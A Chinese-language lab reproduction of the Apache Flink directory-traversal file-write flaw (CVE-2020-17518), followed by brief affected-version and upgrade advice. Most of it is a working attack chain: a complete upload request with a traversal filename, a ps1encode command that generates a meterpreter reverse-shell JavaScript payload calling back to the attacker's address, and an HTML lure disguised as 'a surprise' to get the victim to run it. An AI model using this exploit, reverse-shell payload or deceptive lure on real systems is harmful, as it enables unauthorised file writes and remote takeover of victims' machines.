Apache Flink 目录遍历漏洞复现(CVE-2020-17518)
Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。近日 Apache官网发布了Apache Flink目录遍历漏洞(CVE-2020-17518)通告,远程攻击者可通过REST API进行目录遍历,可达到文件读取和写入的效果。
CVE-2020-17518:文件写入漏洞
Apache Flink 1.5.1版本引入了REST API,攻击者可通过恶意修改的HTTP头部将文件写入本地文件系统上的任意位置。
Flink安装部署-window 本地部署
flink 可以运行在 Linux, Mac OS X, and Windows操作系统上面。要运行Flink得先安装JDK 8.X。本次漏洞复现环境搭建在windows上
JDK安装参看:http://www.itclj.com/blog/5920236681c06e672f942ad4
下载
官网下载地址:https://flink.apache.org/zh/downloads.html
百度盘:https://pan.baidu.com/s/1kmnXBD_5685cvgmsQ7xEbg 提取码:n9bs
启动
将下载好的flink解压,进入bin目录下找到start-cluster.ba,双击运行
默认flink开启8081端口,使用http://you-ip:8081即可访问
本次使用的攻击机:kali ip: 192.168.0.105
靶机:windows 10 x64 ip: 192.168.0.102
将下面payload复制到burpsuit repeater模块进行发送,就会在flink部署的window主机C盘下的/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/目录下创建一个success.txt的文件,success.txt写入的内容为success
POST /jars/upload HTTP/1.1
Host: you-ip:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7953587633284837342617937085
Content-Length: 7302
Origin: http://you-ip:8081
Connection: close
Referer: http://you-ip:8081/
-----------------------------7953587633284837342617937085
Content-Disposition: form-data; name="jarfile"; filename="/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/success.txt"
Content-Type: application/octet-stream
Success
-----------------------------7953587633284837342617937085—
可以看到成功创建了文件success.txt 文件
1、首先通过ps1encode工具生成反弹shell的js脚本,ps1encode工具下载地址为:git clone https://github.com/CroweCybersecurity/ps1encode.git
2、进入ps1encode目录,使用./ps1encode.rb --LHOST 192.168.0.105 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js 命令生成payload
3、将生成的payload复制到burpsuit中,修改写入文件名为success.js 发送
4、可以看到成功在flink部署的window主机上创建了succes.js文件
5、windows执行文件
直接执行的话可能比较明显,所以参照文章我们写了一个success.html文件,内容如下
<html>
<title>这是一个惊喜</title>
<body>
<img src ='1.jpg'>
<script type="text/javascript" src="success.js"></script>
</body>
</html>
6、执行success.html文件,选择运行->允许阻止内容->选择是,就反弹成功了
7、获取shell
使用msf监听
目前反弹shell能建立连接,但是无法执行命令,不知道什么原因
CVE-2020-17518:
Apache Flink 1.5.1 - 1.11.2
高危
Apache Flink 官方已在新版本中修复此漏洞,请升级至Flink 1.11.3或1.12.0,下载链接:https://flink.apache.org/downloads.html